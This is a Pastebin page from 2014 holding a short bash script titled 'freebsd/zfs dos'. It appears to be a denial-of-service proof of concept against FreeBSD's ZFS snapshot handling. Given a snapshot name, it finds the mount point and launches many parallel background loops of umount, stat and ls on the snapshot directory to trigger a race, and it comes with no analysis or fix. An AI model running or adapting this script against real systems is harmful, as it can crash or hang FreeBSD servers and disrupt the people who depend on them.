Guest User

freebsd/zfs dos

a guest
Feb 24th, 2014
272
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 1.23 KB | None | 0 0
  1. #!/bin/bash
  2.  
  3. snapshot="$1"
  4. if [ -z "$snapshot" ]; then
  5.         echo "FreeBSD/ZFS snapshot handling bug"
  6.         echo ""
  7.         echo "Usage: $0 <zfs snapshot>"
  8.         exit 1
  9. fi
  10.  
  11. snapshot="$(zfs list -t snapshot -H -o name "$snapshot")"
  12. if [ -z "$snapshot" ]; then
  13.         echo "Snapshot not found"
  14.         exit 2
  15. fi
  16.  
  17. dataset="${snapshot%@*}"
  18. sn="${snapshot#*@}"
  19. mountpoint=$(mount | grep "^$dataset[[:space:]]" | awk '{print $3}')
  20.  
  21. if [ ! -d "$mountpoint" ]; then
  22.         echo "Could not determine mount point for $dataset"
  23.         exit 3
  24. fi
  25.  
  26. echo "** dataset=$dataset snapname=$sn mounted=$mountpoint"
  27.  
  28. cd "$mountpoint/.zfs/snapshot"
  29. yes "$sn" | xargs umount > /dev/null &
  30. yes "$sn" | xargs umount > /dev/null &
  31. yes "$mountpoint/.zfs/snapshot/$sn" | xargs umount > /dev/null &
  32. yes "$mountpoint/.zfs/snapshot/$sn" | xargs umount > /dev/null &
  33. yes "$sn" | xargs stat > /dev/null &
  34. yes "$sn" | xargs stat > /dev/null &
  35. yes "$sn/.." | xargs stat > /dev/null &
  36. yes "$sn/.." | xargs stat > /dev/null &
  37. yes "." | xargs ls -la > /dev/null &
  38. yes "." | xargs ls -la > /dev/null &
  39.  
  40. cd "$mountpoint/.zfs"
  41. yes . | xargs ls -l > /dev/null &
  42. yes . | xargs ls -l > /dev/null &
  43.  
  44. #yes "$snapshot" | xargs -n 1 zfs send -R > /dev/null &
Add Comment
Please, Sign In to add comment